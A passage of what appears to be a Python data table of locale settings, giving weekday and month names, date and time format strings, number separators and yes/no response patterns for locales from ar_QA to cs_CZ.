'^[نyY].*'), ('noexpr', '^[لnN].*')]), ('ar_QA', [('abday', ('ح', 'ن', 'ث', 'ر', 'خ', 'ج', 'س')), ('day', ('الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت')), ('abmon', ('ينا', 'فبر', 'مار', 'أبر', 'ماي', 'يون', 'يول', 'أغس', 'سبت', 'أكت', 'نوف', 'ديس')), ('mon', ('يناير', 'فبراير', 'مارس', 'أبريل', 'مايو', 'يونيو', 'يوليو', 'أغسطس', 'سبتمبر', 'أكتوبر', 'نوفمبر', 'ديسمبر')), ('d_t_fmt', '%d %b, %Y %Z %I:%M:%S %p'), ('d_fmt', '%d %b, %Y'), ('t_fmt', '%Z %I:%M:%S '), ('t_fmt_ampm', '%Z %I:%M:%S %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[نyY].*'), ('noexpr', '^[لnN].*')]), ('ar_SA', [('abday', ('Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat')), ('day', ('الأحد', 'الإثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعـة', 'السبت')), ('abmon', ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec')), ('mon', ('كانون الثاني', 'شباط', 'آذار', 'نيسـان', 'أيار', 'حزيران', 'تـمـوز', 'آب', 'أيلول', 'تشرين الأول', 'تشرين الثاني', 'كانون الأول')), ('d_t_fmt', '%A %e %B %Y %k:%M:%S'), ('d_fmt', '%A %e %B %Y'), ('t_fmt', '%k:%M:%S'), ('t_fmt_ampm', '%k:%M:%S'), ('radixchar', '.'), ('thousep', ''), ('yesexpr', '^[نyY].*'), ('noexpr', '^[لnN].*')]), ('ar_SD', [('abday', ('ح', 'ن', 'ث', 'ر', 'خ', 'ج', 'س')), ('day', ('الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت')), ('abmon', ('ينا', 'فبر', 'مار', 'أبر', 'ماي', 'يون', 'يول', 'أغس', 'سبت', 'أكت', 'نوف', 'ديس')), ('mon', ('يناير', 'فبراير', 'مارس', 'أبريل', 'مايو', 'يونيو', 'يوليو', 'أغسطس', 'سبتمبر', 'أكتوبر', 'نوفمبر', 'ديسمبر')), ('d_t_fmt', '%d %b, %Y %Z %I:%M:%S %p'), ('d_fmt', '%d %b, %Y'), ('t_fmt', '%Z %I:%M:%S '), ('t_fmt_ampm', '%Z %I:%M:%S %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[نyY].*'), ('noexpr', '^[لnN].*')]), ('ar_SS', [('abday', ('ح', 'ن', 'ث', 'ر', 'خ', 'ج', 'س')), ('day', ('الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت')), ('abmon', ('ينا', 'فبر', 'مار', 'أبر', 'ماي', 'يون', 'يول', 'أغس', 'سبت', 'أكت', 'نوف', 'ديس')), ('mon', ('يناير', 'فبراير', 'مارس', 'أبريل', 'مايو', 'يونيو', 'يوليو', 'أغسطس', 'سبتمبر', 'أكتوبر', 'نوفمبر', 'ديسمبر')), ('d_t_fmt', '%d %b, %Y %Z %I:%M:%S %p'), ('d_fmt', '%d %b, %Y'), ('t_fmt', '%Z %I:%M:%S '), ('t_fmt_ampm', '%Z %I:%M:%S %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[نyY].*'), ('noexpr', '^[لnN].*')]), ('ar_SY', [('abday', ('الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت')), ('day', ('الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت')), ('abmon', ('كانون الثاني', 'شباط', 'آذار', 'نيسان', 'نوار', 'حزيران', 'تموز', 'آب', 'أيلول', 'تشرين الأول', 'تشرين الثاني', 'كانون الأول')), ('mon', ('كانون الثاني', 'شباط', 'آذار', 'نيسان', 'نواران', 'حزير', 'تموز', 'آب', 'أيلول', 'تشرين الأول', 'تشرين الثاني', 'كانون الأول')), ('d_t_fmt', '%d %b, %Y %Z %I:%M:%S %p'), ('d_fmt', '%d %b, %Y'), ('t_fmt', '%Z %I:%M:%S '), ('t_fmt_ampm', '%Z %I:%M:%S %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[نyY].*'), ('noexpr', '^[لnN].*')]), ('ar_TN', [('abday', ('ح', 'ن', 'ث', 'ر', 'خ', 'ج', 'س')), ('day', ('الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت')), ('abmon', ('ينا', 'فبر', 'مار', 'أبر', 'ماي', 'يون', 'يول', 'أغس', 'سبت', 'أكت', 'نوف', 'ديس')), ('mon', ('يناير', 'فبراير', 'مارس', 'أبريل', 'مايو', 'يونيو', 'يوليو', 'أغسطس', 'سبتمبر', 'أكتوبر', 'نوفمبر', 'ديسمبر')), ('d_t_fmt', '%d %b, %Y %Z %I:%M:%S %p'), ('d_fmt', '%d %b, %Y'), ('t_fmt', '%Z %I:%M:%S '), ('t_fmt_ampm', '%Z %I:%M:%S %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[نyY].*'), ('noexpr', '^[لnN].*')]), ('ar_YE', [('abday', ('ح', 'ن', 'ث', 'ر', 'خ', 'ج', 'س')), ('day', ('الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت')), ('abmon', ('ينا', 'فبر', 'مار', 'أبر', 'ماي', 'يون', 'يول', 'أغس', 'سبت', 'أكت', 'نوف', 'ديس')), ('mon', ('يناير', 'فبراير', 'مارس', 'أبريل', 'مايو', 'يونيو', 'يوليو', 'أغسطس', 'سبتمبر', 'أكتوبر', 'نوفمبر', 'ديسمبر')), ('d_t_fmt', '%d %b, %Y %Z %I:%M:%S %p'), ('d_fmt', '%d %b, %Y'), ('t_fmt', '%Z %I:%M:%S '), ('t_fmt_ampm', '%Z %I:%M:%S %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[نyY].*'), ('noexpr', '^[لnN].*')]), ('as_IN', [('abday', ('দেও', 'সোম', 'মঙ্গল', 'বুধ', 'বৃহষ্পতি', 'শুক্ৰ', 'শনি')), ('day', ('দেওবাৰ', 'সোমবাৰ', 'মঙ্গলবাৰ', 'বুধবাৰ', 'বৃহষ্পতিবাৰ', 'শুক্ৰবাৰ', 'শনিবাৰ')), ('abmon', ('জানুৱাৰী', 'ফেব্ৰুৱাৰী', 'মাৰ্চ', 'এপ্ৰিল', 'মে', 'জুন', 'জুলাই', 'আগ', 'চেপ্তেম্বৰ', 'অক্টোবৰ', 'নভেম্বৰ', 'ডিচেম্বৰ')), ('mon', ('জানুৱাৰী', 'ফেব্ৰুৱাৰী', 'মাৰ্চ', 'এপ্ৰিল', 'মে', 'জুন', 'জুলাই', 'আগষ্ট', 'চেপ্তেম্বৰ', 'অক্টোবৰ', 'নভেম্বৰ', 'ডিচেম্বৰ')), ('d_t_fmt', '%e %B, %Y %I.%M.%S %p %Z'), ('d_fmt', '%e-%m-%Y'), ('t_fmt', '%I.%M.%S %p'), ('t_fmt_ampm', '%I.%M.%S %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[yYহ].*'), ('noexpr', '^[nNন].*')]), ('ast_ES', [('abday', ('dom', 'llu', 'mar', 'mié', 'xue', 'vie', 'sáb')), ('day', ('domingu', 'llunes', 'martes', 'miércoles', 'xueves', 'vienres', 'sábadu')), ('abmon', ('xin', 'feb', 'mar', 'abr', 'may', 'xun', 'xnt', 'ago', 'set', 'och', 'pay', 'avi')), ('mon', ('xineru', 'febreru', 'marzu', 'abril', 'mayu', 'xunu', 'xunetu', 'agostu', 'setiembre', 'ochobre', 'payares', 'avientu')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', ','), ('thousep', '.'), ('yesexpr', '^[sSyY].*'), ('noexpr', '^[nN].*')]), ('ayc_PE', [('abday', ('tum', 'lun', 'mar', 'mir', 'juy', 'wir', 'saw')), ('day', ('tuminku', 'lunisa', 'martisa', 'mirkulisa', 'juywisa', 'wirnisa', 'sawäru')), ('abmon', ('ini', 'phi', 'mar', 'awr', 'may', 'jun', 'jul', 'awu', 'sit', 'ukt', 'nuw', 'ris')), ('mon', ('inïru', 'phiwriru', 'marsu', 'awrila', 'mayu', 'junyu', 'julyu', 'awustu', 'sitimri', 'uktuwri', 'nuwimri', 'risimri')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%y'), ('t_fmt', '%T'), ('t_fmt_ampm', '%I:%M:%S %p'), ('radixchar', ','), ('thousep', '.'), ('yesexpr', '^[uUsSyY].*'), ('noexpr', '^[jJnN].*')]), ('az_AZ', [('abday', ('baz', 'ber', 'çax', 'çər', 'cax', 'cüm', 'şnb')), ('day', ('bazar günü', 'bazar ertəsi', 'çərşənbə axşamı', 'çərşənbə', 'cümə axşamı', 'cümə', 'şənbə')), ('abmon', ('Yan', 'Fev', 'Mar', 'Apr', 'May', 'İyn', 'İyl', 'Avq', 'Sen', 'Okt', 'Noy', 'Dek')), ('mon', ('yanvar', 'fevral', 'mart', 'aprel', 'may', 'iyun', 'iyul', 'avqust', 'sentyabr', 'oktyabr', 'noyabr', 'dekabr')), ('d_t_fmt', '%A, %d %B %Y %T'), ('d_fmt', '%d.%m.%Y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', ','), ('thousep', '.'), ('yesexpr', '^[Bb].*'), ('noexpr', '^[YyNn].*')]), ('be_BY', [('abday', ('Няд', 'Пан', 'Аўт', 'Срд', 'Чцв', 'Пят', 'Суб')), ('day', ('Нядзеля', 'Панядзелак', 'Аўторак', 'Серада', 'Чацвер', 'Пятніца', 'Субота')), ('abmon', ('Стд', 'Лют', 'Сак', 'Крс', 'Тра', 'Чэр', 'Ліп', 'Жнв', 'Врс', 'Кст', 'Ліс', 'Снж')), ('mon', ('Студзень', 'Люты', 'Сакавік', 'Красавік', 'Травень', 'Чэрвень', 'Ліпень', 'Жнівень', 'Верасень', 'Кастрычнік', 'Лістапад', 'Снежань')), ('d_t_fmt', '%a %d %b %Y %T'), ('d_fmt', '%d.%m.%Y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', ','), ('thousep', '.'), ('yesexpr', '^[ТтYy].*'), ('noexpr', '^[НнNn].*')]), ('bem_ZM', [('abday', ('Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat')), ('day', ('Pa Mulungu', 'Palichimo', 'Palichibuli', 'Palichitatu', 'Palichine', 'Palichisano', 'Pachibelushi')), ('abmon', ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'July', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec')), ('mon', ('Januari', 'Februari', 'Machi', 'Epreo', 'Mei', 'Juni', 'Julai', 'Ogasti', 'Septemba', 'Oktoba', 'Novemba', 'Disemba')), ('d_t_fmt', '%a %d %b %Y %R %Z'), ('d_fmt', '%m/%d/%Y'), ('t_fmt', '%T'), ('t_fmt_ampm', '%I:%M:%S %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[yYeE].*'), ('noexpr', '^[nNaA].*')]), ('ber_DZ', [('abday', ('baz', 'bir', 'iki', 'üçü', 'dör', 'beş', 'alt')), ('day', ('bazar günü', 'birinci gün', 'ikinci gün', 'üçüncü gün', 'dördüncü gün', 'beşinci gün', 'altıncı gün')), ('abmon', ('Yan', 'Fev', 'Mar', 'Apr', 'May', 'İyn', 'İyl', 'Avq', 'Sen', 'Okt', 'Noy', 'Dek')), ('mon', ('yanvar', 'fevral', 'mart', 'aprel', 'may', 'iyun', 'iyul', 'avqust', 'sentyabr', 'oktyabr', 'noyabr', 'dekabr')), ('d_t_fmt', '%A, %d %B %Y %T'), ('d_fmt', '%d.%m.%Y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[Bb].*'), ('noexpr', '^[YyNn].*')]), ('ber_MA', [('abday', ('baz', 'bir', 'iki', 'üçü', 'dör', 'beş', 'alt')), ('day', ('bazar günü', 'birinci gün', 'ikinci gün', 'üçüncü gün', 'dördüncü gün', 'beşinci gün', 'altıncı gün')), ('abmon', ('Yan', 'Fev', 'Mar', 'Apr', 'May', 'İyn', 'İyl', 'Avq', 'Sen', 'Okt', 'Noy', 'Dek')), ('mon', ('yanvar', 'fevral', 'mart', 'aprel', 'may', 'iyun', 'iyul', 'avqust', 'sentyabr', 'oktyabr', 'noyabr', 'dekabr')), ('d_t_fmt', '%A, %d %B %Y %T'), ('d_fmt', '%d.%m.%Y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[Bb].*'), ('noexpr', '^[YyNn].*')]), ('bg_BG', [('abday', ('нд', 'пн', 'вт', 'ср', 'чт', 'пт', 'сб')), ('day', ('неделя', 'понеделник', 'вторник', 'сряда', 'четвъртък', 'петък', 'събота')), ('abmon', ('яну', 'фев', 'мар', 'апр', 'май', 'юни', 'юли', 'авг', 'сеп', 'окт', 'ное', 'дек')), ('mon', ('януари', 'февруари', 'март', 'април', 'май', 'юни', 'юли', 'август', 'септември', 'октомври', 'ноември', 'декември')), ('d_t_fmt', '%x (%a) %X %Z'), ('d_fmt', '%e.%m.%Y'), ('t_fmt', '%k,%M,%S'), ('t_fmt_ampm', '%l,%M,%S'), ('radixchar', ','), ('thousep', ''), ('yesexpr', '^[+1ДдDdYyOo].*'), ('noexpr', '^[-0НнNnKk].*')]), ('bho_IN', [('abday', ('रवि ', 'सोम ', 'मंगल ', 'बुध ', 'गुरु ', 'शुक्र ', 'शनि ')), ('day', ('रविवार ', 'सोमवार ', 'मंगलवार ', 'बुधवार ', 'गुरुवार ', 'शुक्रवार ', 'शनिवार ')), ('abmon', ('जनवरी', 'फरवरी', 'मार्च', 'अप्रैल', 'मई', 'जून', 'जुलाई', 'अगस्त', 'सितम्बर', 'अक्टूबर', 'नवम्बर', 'दिसम्बर')), ('mon', ('जनवरी', 'फरवरी', 'मार्च', 'अप्रैल', 'मई', 'जून', 'जुलाई', 'अगस्त', 'सितम्बर', 'अक्टूबर', 'नवम्बर', 'दिसम्बर')), ('d_t_fmt', '%A %d %b %Y %I:%M:%S %p %Z'), ('d_fmt', '%A %d %b %Y'), ('t_fmt', '%I:%M:%S %Z'), ('t_fmt_ampm', '%I:%M:%S %p %Z'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[yY].*'), ('noexpr', '^[nN].*')]), ('bn_BD', [('abday', ('রবি', 'সোম', 'মঙ্গল', 'বুধ', 'বৃহঃ', 'শুক্র', 'শনি')), ('day', ('রবিবার', 'সোমবার', 'মঙ্গলবার', 'বুধবার', 'বৃহস্পতিবার', 'শুক্রবার', 'শনিবার')), ('abmon', ('জানু', 'ফেব্রু', 'মার্চ', 'এপ্রি', 'মে', 'জুন', 'জুল', 'আগ', 'সেপ্টে', 'অক্টো', 'নভে', 'ডিসে')), ('mon', ('জানুয়ারি', 'ফেব্রুয়ারি', 'মার্চ', 'এপ্রিল', 'মে', 'জুন', 'জুলাই', 'আগস্ট', 'সেপ্টেম্বর', 'অক্টোবর', 'নভেম্বর', 'ডিসেম্বর')), ('d_t_fmt', '%A %d %b %Y %I:%M:%S %p %Z'), ('d_fmt', '%A %d %b %Y'), ('t_fmt', '%I:%M:%S %Z'), ('t_fmt_ampm', '%I:%M:%S %p %Z'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[হ্যাঁyY]'), ('noexpr', '^[নাnN]')]), ('bn_IN', [('abday', ('রবি', 'সোম', 'মঙ্গল', 'বুধ', 'বৃহস্পতি', 'শুক্র', 'শনি')), ('day', ('রবিবার', 'সোমবার', 'মঙ্গলবার', 'বুধবার', 'বৃহস্পতিবার', 'শুক্রবার', 'শনিবার')), ('abmon', ('জানুয়ারি', 'ফেব্রুয়ারি', 'মার্চ', 'এপ্রিল', 'মে', 'জুন', 'জুলাই', 'আগস্ট', 'সেপ্টেম্বর', 'অক্টোবর', 'নভেম্বর', 'ডিসেম্বর')), ('mon', ('জানুয়ারি', 'ফেব্রুয়ারি', 'মার্চ', 'এপ্রিল', 'মে', 'জুন', 'জুলাই', 'আগস্ট', 'সেপ্টেম্বর', 'অক্টোবর', 'নভেম্বর', 'ডিসেম্বর')), ('d_t_fmt', '%A %d %b %Y %I:%M:%S %p %Z'), ('d_fmt', '%A %d %b %Y'), ('t_fmt', '%I:%M:%S %Z'), ('t_fmt_ampm', '%I:%M:%S %p %Z'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[হ্যাঁyY]'), ('noexpr', '^[নাnN]')]), ('bo_CN', [('abday', ('ཉི་', 'ཟླ་', 'མིར་', 'ལྷག་', 'པུར་', 'སངས་', 'སྤེན་')), ('day', ('གཟའ་ཉི་མ་', 'གཟའ་ཟླ་བ་', 'གཟའ་མིག་དམར་', 'གཟའ་ལྷག་ཕ་', 'གཟའ་པུར་བུ་', 'གཟའ་པ་སངས་', 'གཟའ་སྤེན་ཕ་')), ('abmon', ('ཟླ་༡', 'ཟླ་༢', 'ཟླ་༣', 'ཟླ་༤', 'ཟླ་༥', 'ཟླ་༦', 'ཟླ་༧', 'ཟླ་༨', 'ཟླ་༩', 'ཟླ་༡༠', 'ཟླ་༡༡', 'ཟླ་༡༢')), ('mon', ('ཟླ་བ་དང་པ་', 'ཟླ་བ་གཉིས་པ་', 'ཟླ་བ་གསུམ་པ་', 'ཟླ་བ་བཞི་པ་', 'ཟླ་བ་ལྔ་ཕ་', 'ཟླ་བ་དྲུག་པ་', 'ཟླ་བ་བདུནཔ་', 'ཟླ་བ་བརྒྱད་པ་', 'ཟླ་བ་དགུ་པ་', 'ཟླ་བ་བཅུ་པ་', 'ཟླ་བ་བཅུ་གཅིག་པ་', 'ཟླ་བ་བཅུ་གཉིས་པ་')), ('d_t_fmt', 'པསྱི་ལོ%yཟལ%mཚེས%dཆུ་ཚོད%Hཀསར་མ%Mཀསར་ཆ%S'), ('d_fmt', 'པསྱི་ལོ%yཟལ%mཚེས%d'), ('t_fmt', 'ཆུ་ཚོད%Hཀསར་མ%Mཀསར་ཆ%S'), ('t_fmt_ampm', 'ཆུ་ཚོད%Iཀསར་མ%Mཀསར་ཆ%S %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[ཨYy].*'), ('noexpr', '^[མNn].*')]), ('bo_IN', [('abday', ('ཉི་', 'ཟླ་', 'མིར་', 'ལྷག་', 'པུར་', 'སངས་', 'སྤེན་')), ('day', ('གཟའ་ཉི་མ་', 'གཟའ་ཟླ་བ་', 'གཟའ་མིག་དམར་', 'གཟའ་ལྷག་ཕ་', 'གཟའ་པུར་བུ་', 'གཟའ་པ་སངས་', 'གཟའ་སྤེན་ཕ་')), ('abmon', ('ཟླ་༡', 'ཟླ་༢', 'ཟླ་༣', 'ཟླ་༤', 'ཟླ་༥', 'ཟླ་༦', 'ཟླ་༧', 'ཟླ་༨', 'ཟླ་༩', 'ཟླ་༡༠', 'ཟླ་༡༡', 'ཟླ་༡༢')), ('mon', ('ཟླ་བ་དང་པ་', 'ཟླ་བ་གཉིས་པ་', 'ཟླ་བ་གསུམ་པ་', 'ཟླ་བ་བཞི་པ་', 'ཟླ་བ་ལྔ་ཕ་', 'ཟླ་བ་དྲུག་པ་', 'ཟླ་བ་བདུནཔ་', 'ཟླ་བ་བརྒྱད་པ་', 'ཟླ་བ་དགུ་པ་', 'ཟླ་བ་བཅུ་པ་', 'ཟླ་བ་བཅུ་གཅིག་པ་', 'ཟླ་བ་བཅུ་གཉིས་པ་')), ('d_t_fmt', 'པསྱི་ལོ%yཟལ%mཚེས%dཆུ་ཚོད%Hཀསར་མ%Mཀསར་ཆ%S'), ('d_fmt', 'པསྱི་ལོ%yཟལ%mཚེས%d'), ('t_fmt', 'ཆུ་ཚོད%Hཀསར་མ%Mཀསར་ཆ%S'), ('t_fmt_ampm', 'ཆུ་ཚོད%Iཀསར་མ%Mཀསར་ཆ%S %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[ཨYy].*'), ('noexpr', '^[མNn].*')]), ('br_FR', [('abday', ('sul', 'lun', 'meu', 'mer', 'yao', 'gwe', 'sad')), ('day', ('sul', 'lun', 'meurzh', "merc'her", 'yaou', 'gwener', 'sadorn')), ('abmon', ('Gen ', "C'hw", 'Meu ', 'Ebr ', 'Mae ', 'Eve ', 'Gou ', 'Eos ', 'Gwe ', 'Her ', 'Du ', 'Ker ')), ('mon', ('Genver', "C'hwevrer", 'Meurzh', 'Ebrel', 'Mae', 'Mezheven', 'Gouere', 'Eost', 'Gwengolo', 'Here', 'Du', 'Kerzu')), ('d_t_fmt', "D'ar %A %d a viz %B %Y"), ('d_fmt', '%d.%m.%Y'), ('t_fmt', '%T'), ('t_fmt_ampm', '%Ie%M:%S %p'), ('radixchar', ','), ('thousep', ' '), ('yesexpr', '^[oOyY].*'), ('noexpr', '^[nN].*')]), ('brx_IN', [('abday', ('रबि', 'सम', 'मंगल', 'बुद', 'बिसथि', 'सुखुर', 'सुनि')), ('day', ('रबिबार', 'सोबार', 'मंगलबार', 'बुदबार', 'बिसथिबार', 'सुखुरबार', 'सुनिबार')), ('abmon', ('जानुवारी', 'फेब्रुवारी', 'मार्स', 'एप्रिल', 'मे', 'जुन', 'जुलाइ', 'आगस्थ', 'सेबथेज्ब़र', 'अखथबर', 'नबेज्ब़र', 'दिसेज्ब़र')), ('mon', ('जानुवारी', 'फेब्रुवारी', 'मार्स', 'एप्रिल', 'मे', 'जुन', 'जुलाइ', 'आगस्थ', 'सेबथेज्ब़र', 'अखथबर', 'नबेज्ब़र', 'दिसेज्ब़र')), ('d_t_fmt', '%A %d %b %Y %I:%M:%S %p %Z'), ('d_fmt', '%A %d %b %Y'), ('t_fmt', '%I:%M:%S %Z'), ('t_fmt_ampm', '%I:%M:%S %p %Z'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^(नंगौ|[yY])'), ('noexpr', '^(नङा|[nN])')]), ('bs_BA', [('abday', ('Ned', 'Pon', 'Uto', 'Sri', 'Čet', 'Pet', 'Sub')), ('day', ('Nedjelja', 'Ponedjeljak', 'Utorak', 'Srijeda', 'Četvrtak', 'Petak', 'Subota')), ('abmon', ('Jan', 'Feb', 'Mar', 'Apr', 'Maj', 'Jun', 'Jul', 'Aug', 'Sep', 'Okt', 'Nov', 'Dec')), ('mon', ('Januar', 'Februar', 'Mart', 'April', 'Maj', 'Juni', 'Juli', 'August', 'Septembar', 'Oktobar', 'Novembar', 'Decembar')), ('d_t_fmt', '%a %d %b %Y %T'), ('d_fmt', '%d.%m.%Y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', ','), ('thousep', ''), ('yesexpr', '^[dDyY]*.'), ('noexpr', '^[nN]*.')]), ('byn_ER', [('abday', ('ሰ/ቅ', 'ሰኑ', 'ሰሊጝ', 'ለጓ', 'ኣምድ', 'ኣርብ', 'ሰ/ሽ')), ('day', ('ሰንበር ቅዳዅ', 'ሰኑ', 'ሰሊጝ', 'ለጓ ወሪ ለብዋ', 'ኣምድ', 'ኣርብ', 'ሰንበር ሽጓዅ')), ('abmon', ('ልደት', 'ካብኽ', 'ክብላ', 'ፋጅኺ', 'ክቢቅ', 'ም/ት', 'ኰር', 'ማርያ', 'ያኸኒ', 'መተሉ', 'ም/ም', 'ተሕሳ')), ('mon', ('ልደትሪ', 'ካብኽብቲ', 'ክብላ', 'ፋጅኺሪ', 'ክቢቅሪ', 'ምኪኤል ትጓ̅ኒሪ', 'ኰርኩ', 'ማርያም ትሪ', 'ያኸኒ መሳቅለሪ', 'መተሉ', 'ምኪኤል መሽወሪ', 'ተሕሳስሪ')), ('d_t_fmt', '%A፡ %B %e ግርጋ %Y %r %Z'), ('d_fmt', '%d/%m/%Y'), ('t_fmt', '%l:%M:%S'), ('t_fmt_ampm', '%X %p'), ('radixchar', '.'), ('thousep', ''), ('yesexpr', '^[yY].*'), ('noexpr', '^[nN].*')]), ('ca_AD', [('abday', ('dg', 'dl', 'dt', 'dc', 'dj', 'dv', 'ds')), ('day', ('diumenge', 'dilluns', 'dimarts', 'dimecres', 'dijous', 'divendres', 'dissabte')), ('abmon', ('gen', 'feb', 'mar', 'abr', 'mai', 'jun', 'jul', 'ago', 'set', 'oct', 'nov', 'des')), ('mon', ('gener', 'febrer', 'març', 'abril', 'maig', 'juny', 'juliol', 'agost', 'setembre', 'octubre', 'novembre', 'desembre')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', ','), ('thousep', ''), ('yesexpr', '^[sSyY].*'), ('noexpr', '^[nN].*')]), ('ca_ES', [('abday', ('dg', 'dl', 'dt', 'dc', 'dj', 'dv', 'ds')), ('day', ('diumenge', 'dilluns', 'dimarts', 'dimecres', 'dijous', 'divendres', 'dissabte')), ('abmon', ('gen', 'feb', 'mar', 'abr', 'mai', 'jun', 'jul', 'ago', 'set', 'oct', 'nov', 'des')), ('mon', ('gener', 'febrer', 'març', 'abril', 'maig', 'juny', 'juliol', 'agost', 'setembre', 'octubre', 'novembre', 'desembre')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', ','), ('thousep', ''), ('yesexpr', '^[sSyY].*'), ('noexpr', '^[nN].*')]), ('ca_FR', [('abday', ('dg', 'dl', 'dt', 'dc', 'dj', 'dv', 'ds')), ('day', ('diumenge', 'dilluns', 'dimarts', 'dimecres', 'dijous', 'divendres', 'dissabte')), ('abmon', ('gen', 'feb', 'mar', 'abr', 'mai', 'jun', 'jul', 'ago', 'set', 'oct', 'nov', 'des')), ('mon', ('gener', 'febrer', 'març', 'abril', 'maig', 'juny', 'juliol', 'agost', 'setembre', 'octubre', 'novembre', 'desembre')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', ','), ('thousep', ''), ('yesexpr', '^[sSyY].*'), ('noexpr', '^[nN].*')]), ('ca_IT', [('abday', ('dg', 'dl', 'dt', 'dc', 'dj', 'dv', 'ds')), ('day', ('diumenge', 'dilluns', 'dimarts', 'dimecres', 'dijous', 'divendres', 'dissabte')), ('abmon', ('gen', 'feb', 'mar', 'abr', 'mai', 'jun', 'jul', 'ago', 'set', 'oct', 'nov', 'des')), ('mon', ('gener', 'febrer', 'març', 'abril', 'maig', 'juny', 'juliol', 'agost', 'setembre', 'octubre', 'novembre', 'desembre')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', ','), ('thousep', ''), ('yesexpr', '^[sSyY].*'), ('noexpr', '^[nN].*')]), ('cmn_TW', [('abday', ('日', '一', '二', '三', '四', '五', '六')), ('day', ('星期日', '星期一', '星期二', '星期三', '星期四', '星期五', '星期六')), ('abmon', (' 1月', ' 2月', ' 3月', ' 4月', ' 5月', ' 6月', ' 7月', ' 8月', ' 9月', '10月', '11月', '12月')), ('mon', ('一月', '二月', '三月', '四月', '五月', '六月', '七月', '八月', '九月', '十月', '十一月', '十二月')), ('d_t_fmt', '%Y年%m月%d日 (%A) %H點%M分%S秒'), ('d_fmt', '%Y年%m月%d日'), ('t_fmt', '%H點%M分%S秒'), ('t_fmt_ampm', '%p %I點%M分%S秒'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[yY是]'), ('noexpr', '^[nN不否]')]), ('crh_UA', [('abday', ('Baz', 'Ber', 'Sal', 'Çar', 'Caq', 'Cum', 'Cer')), ('day', ('Bazar', 'Bazarertesi', 'Salı', 'Çarşembe', 'Cumaaqşamı', 'Cuma', 'Cumaertesi')), ('abmon', ('Yan', 'Fev', 'Mar', 'Apr', 'May', 'İyn', 'İyl', 'Avg', 'Sen', 'Okt', 'Noy', 'Dek')), ('mon', ('Yanvar', 'Fevral', 'Mart', 'Aprel', 'Mayıs', 'İyun', 'İyul', 'Avgust', 'Sentâbr', 'Oktâbr', 'Noyabr', 'Dekabr')), ('d_t_fmt', '%a %d %b %Y %T'), ('d_fmt', '%d.%m.%Y'), ('t_fmt', '%T'), ('t_fmt_ampm', '%I:%M:%S %p'), ('radixchar', ','), ('thousep', '.'), ('yesexpr', '^[yYeE]'), ('noexpr', '^[nNhH]')]), ('cs_CZ', [('abday', ('Ne', 'Po', 'Út', 'St', 'Čt', 'Pá', 'So')), ('day', ('Neděle', 'Pondělí', 'Úterý', 'Středa', 'Čtvrtek', 'Pátek', 'Sobota')), ('abmon', ('led', 'úno', 'bře', 'dub', 'kvě', 'čen', 'čec', 'srp', 'zář', 'říj', 'lis', 'pro')), ('mon', ('leden', 'únor', 'březen', 'duben', 'květen', 'červen', 'červenec', 'srpen', 'září', 'říjen', 'listopad', 'prosinec')), ('d_t_fmt', '%a\xa0%-d.\xa0%B\xa0%Y,\xa0%H:%M:%S\xa0%Z'), ('d_fmt', '%-d.%-m.%Y'), ('t_fmt', '%H:%M:%S'), ('t_fmt_ampm', '%I:%M:%S'), ('radixchar', ','), ('thousep', '\xa0'), ('yesexpr', '^[aAyY].*'), ('noexpr', '^[nN].*')]), ('csb_PL', [('abday', 